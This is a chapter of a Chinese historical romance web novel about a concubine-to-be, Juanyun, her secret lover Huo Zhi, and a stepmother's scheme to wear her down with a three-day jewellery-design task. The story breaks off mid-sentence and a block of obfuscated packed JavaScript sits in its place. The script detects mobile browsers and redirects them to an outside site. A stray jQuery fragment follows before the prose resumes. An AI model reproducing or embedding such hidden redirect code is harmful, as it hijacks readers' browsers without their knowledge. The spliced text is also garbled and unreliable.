12. 012

作品:《禁欢

    绾筠再次醒来已经是一个时辰后了,她恍惚起身,下意识地环看一眼,不见其他人影,霍挚已经走了,再触摸身侧的床褥,不带残留的温度,怕是走了好些时间了。


    绾筠松了一口气,她起身更衣,这才发现身上的中衣不知何时已经换成了轻薄的纱衣,她拢了拢衣裳,向门口看了一眼,她知道丫鬟不会在她睡梦中替她更衣的,便只能是霍挚做的。


    迟疑的,绾筠小心翼翼感受身体各处,并未其他异样,再起身,褪去纱衣,铜镜前,半遮半裸的雪玉姣好身姿一览无遗,也未留下痕迹。


    她慢吞吞地更衣,迟钝地想着,霍挚什么都没有做,好像这白日里突然而至,仅仅只是为了让她陪他小憩一会儿而已,绾筠看不懂。


    这时,门外响起敲门声,茉秀在外轻声问着,“姑娘,你醒了吗?奴婢进来了?”


    茉秀推开门,见绾筠已穿好衣服神色迟疑地看过来,她并未察觉什么,捧着银盆进来,柔软的帕子过了水再拧干,奉给了绾筠。


    绾筠稍稍擦拭脸,见茉秀在旁恭顺站着,还是不由得问,“你在外面有没有听到什么?”


    茉秀茫然抬头,些许不解,却也认真回应,“姑娘是问有没有听见梦呓的声音?奴婢在外守着半柱香,并未听见梦呓声,想来姑娘是睡得安稳的。”


    见茉秀目光试探着确定自己的答案是否是绾筠想要的,绾筠又稍稍拭了一遍脸颊,只应了一声算略过这事。


    她想着,也许是运气好,几个丫鬟去休息的时候,霍挚来了,又正好在丫鬟醒来前,霍挚正好离开了。


    绾筠坐在书案前,虽有小憩,但霍挚的出现,让宛筠的烦乱不减反增,她坐在书案前,随手作绘,借此消减心头杂乱。


    没一会儿,茉秀风火进来,手上提着食盒。


    “姑娘,快看我带回来什么。”


    旁侧磨墨的茉秀低斥了一声,“姑娘醒来,你去哪里了。”


    “我去膳房了。”茉秀瘪着嘴,很是委屈。


    绾筠放下画笔,浅笑制止了茉秀,走去外间,“瞧你开心的,可是什么稀罕物。”


    还不待茉秀回应,冬月从外面进来,躬身回禀,“姑娘,主膳房做了冰酥烙,让每个院子分些。”她显然是和茉秀一起去的,只是没有茉秀那般兴奋,步子慢了些。


    茉秀不满冬月直接揭开谜底,撇嘴打开食盒,带着凉意的白雾丝丝缕缕从糕点上飘出来,清凉解暑。


    “姑娘,快尝尝。”茉秀又恢复热情,“听说这是江南那边稀罕解暑糕点,金都这边更是少见。”


    茉秀跟来,瞧着糕点,和冬月对视一眼,二人并未多言。


    绾筠捻起一块,冰酥烙是江南权贵才用的解暑糕点,绾筠只在山庄用过。


    去年夏天,暑气也同样的浓烈,霍挚不知从哪儿取了冰,碎冰镇着瓜果,吃着最是解暑,只是绾筠的身子骨好似贪不了着凉意,没多久葵水至,痛得蜷缩在床上几日,险些让霍挚以为绾筠误食了毒。


    从那以后,冰镇的瓜果少了,换着花样的解暑糕点便多了起来。


    绾筠还记得当时别院里新进了一位苏杭来的膳夫,拿手的解暑糕点有七八样,其中一样便是冰酥烙,也是绾筠最喜欢的一样,有的时候想着,不自主地便多吃了一口,但霍挚仿若记着量,并不让她多食,哪怕含在嘴里,他也会让她乖乖张嘴,嘴对嘴地让她渡回来。


    绾筠回过神,小口咬着嚼着,不知是不是受回忆影响,这冰酥烙好似还是去年的味道。


    她没有多想,只道“你们也分着吃,我吃不完。”


    “谢姑娘。”茉秀跟了宛筠一月有余,没有过多的主仆隔阂,更多的是亲近,绾筠一说,她便兴奋捡起一块吃着,边吃便夸,让人颇有食欲,茉秀和冬月见这般,便也不拘着也吃着,主仆几人一同用着,很是和乐。


    翌日,刚用过早饭,继夫人便派人来寻。


    消息来得突然,绾筠心中没底,但事到如今,只要不是她与霍挚之事暴露,绾筠觉得其他都不算大事了。


    等到了锦和苑,见到继夫人,绾筠神色已然平静。


    “不知夫人唤妾身来,可是有事吩咐?”


    继夫人抬头,端着主母架子,“听说你是从江南陵城来?”


    绾筠的身份并没有隐藏,即使连家获罪,她一商户罪女对于金都的权贵来说不值一提。


    绾筠低声应了。


    继夫人瞧着她,似有所思的说道,“江南陵城是有名的金器银饰之乡,珠翠饰品也是多种多样,你家从前经营这类,你又能舞善画,想来能绘出不少头面式样。”


    绾筠不知她意图,藏着所长,“妾身深居闺阁,家中的生意并不接触,画笔多勾勒山水,至于头面式样只是潜知一二,夫人高看妾身了。”


    继夫人向后稍靠,笑指她手腕金玉镯,“这镯子式样新颖大气,从未见过,难道不是你设计绘制的?”


    绾筠稍掩金玉镯,她不知继夫人从何而知,不过这镯子并非秘密。


    继夫人句句紧逼,绾筠便不再避着,“夫人需要妾身画头面?”


    继夫人笑眼两侧勾着褶皱,她站起身,“原来画头面的田嬷嬷弄伤了手。这事便交给妹妹了。色料在雕霞园,妹妹随我走吧。”


    她说着径直从绾筠身边走过往外去,大丫鬟示意绾筠跟着,绾筠心下迟疑,走一步看一步。


    出了二房院落范围,踏入戎国公府正院,空气中平添了几分冷肃,明明都在一府之中,下人丫鬟行走更带几分小心恭敬。


    连继夫人一行人也没有更多的言语,沉默一直到一行人绕过游廊被突然蹿出来的人影打破。


    “哎哟,什么人,这般大胆!”大丫鬟和刘嬷嬷赶忙扶着护着在前的继夫人。


    人影溜蹿的动作被拦住,腆着笑躬身行礼,“婶婶见谅,婶婶莫怪,我这急着往马球场去,没注意到婶婶。”


    绾筠被继夫人半遮着,但也能瞧清继夫人面前的男子,约莫弱冠的年纪,锦衣华服却泛着油嘴滑舌的劲儿,一眼纨绔。


    “原来是佑少爷,可跑慢些,撞着婶婶不要紧,撞着其他姑娘可是要请罪的。”


    继夫人这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132245|164407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一句,好似给佑少爷提了醒,他奇怪抬头,视线泛开,再一眼便瞧见继夫人背后的绾筠,瞬间便直勾勾的盯上了,“这是哪家的姑娘,当真是……好看极了……”他满肚子的甜言蜜语这会子会让卡壳,找不到满意的形容,只独留下简单的四字。


    绾筠心头微蹙,向后退了半步,屈身见礼,没想到那佑少爷跟前了一步。


    继夫人在前笑得古怪,“佑少爷,这是太子爷亲点给我们老爷的侍妾,按理你也要叫声小婶婶。”


    绾筠还不是实质上的戎侍郎妾室,就算是了,也当不得国公府公子一句小婶婶。


    继夫人向来抵触绾筠,怎得这时候换上了表面的亲昵,绾筠心中不安,小步绕过佑少爷,垂眸到继夫人侧,轻声提醒,“夫人说笑了。”


    因为这样的避让,绾筠便没有瞧见佑少爷失魂的模样,好似小婶婶三字有摄魂夺魄的魅力。


    “夫人,这三日时间怎么都不可能画出一副完整头面的。更何况姑娘只是陵城人,并不是真得精通……”


    雕霞园里,继夫人时才吩咐让绾筠三日时间赶制好老夫人寿宴头面图样,否则误了制作工期。


    此话一出,连茉秀都忍不住开口质疑。


    只是继夫人连一记眼神都未施舍她,反倒让刘嬷嬷上前一步,凶呵道,“夫人说话,你一小丫鬟插什么嘴,找打!”说着蒲扇似的巴掌已经扬起。


    绾筠抻臂护着茉秀,三日时间虽然紧巴,但绾筠心中有底,便屈身向继夫人礼道,“夫人看重妾身,妾身自当尽力一试。只是头面材料各样,图样色感要一一对应,需现磨色料,妾身力弱,处置不了色料,还请夫人备些人手辅助。”


    继夫人一听绾筠询问,倏然感觉绾筠对饰品雕琢这一块当真是有了解的,以致于让她精心为绾筠打造的磋磨手段,显得微不足道,她心中冷嗤着,那又如何,这可不是重点。


    她端着架子,“这好说,原来辅助田嬷嬷的人手叫来帮你就是,再安排刘嬷嬷在这里监管他们。”


    绾筠抬眼,刘嬷嬷微昂下巴,撇看绾筠的模样,这气势明摆着不是监管下人,而是看着绾筠的。


    “妾身谢过夫人。”绾筠并未反驳。


    继夫人走后,刘嬷嬷也去喊原本辅助田嬷嬷的人手,屋里只剩下绾筠和茉秀。


    绾筠靠近屋内码放整齐的各类饰品材料和对应色料,认真比选着。


    茉秀瞧她这般模样,很是替绾筠忧虑,“姑娘怎么就答应了,哪怕姑娘会画些头面样式,这画的可是老夫人六十寿宴的头面,是顶顶重要的饰品,听说去年参加侯府的鲜花宴用得头面,就花了田嬷嬷七日的功夫,只三日时间,夫人这纯粹是刁难姑娘啊。”


    “我知道。”绾筠平静着,边往书案去,边朝茉秀解释,“你知我知世人皆知的重要,继夫人怎么会不知道呢?即使田嬷嬷处出了纰漏,继夫人也不会没有半分准备的,更不至于让我临时上手。”


    茉秀愣了,她看着绾筠在桌前提笔试了试墨,半响才反应过来。


    “那岂不是让姑娘白劳三日,故意磋磨?”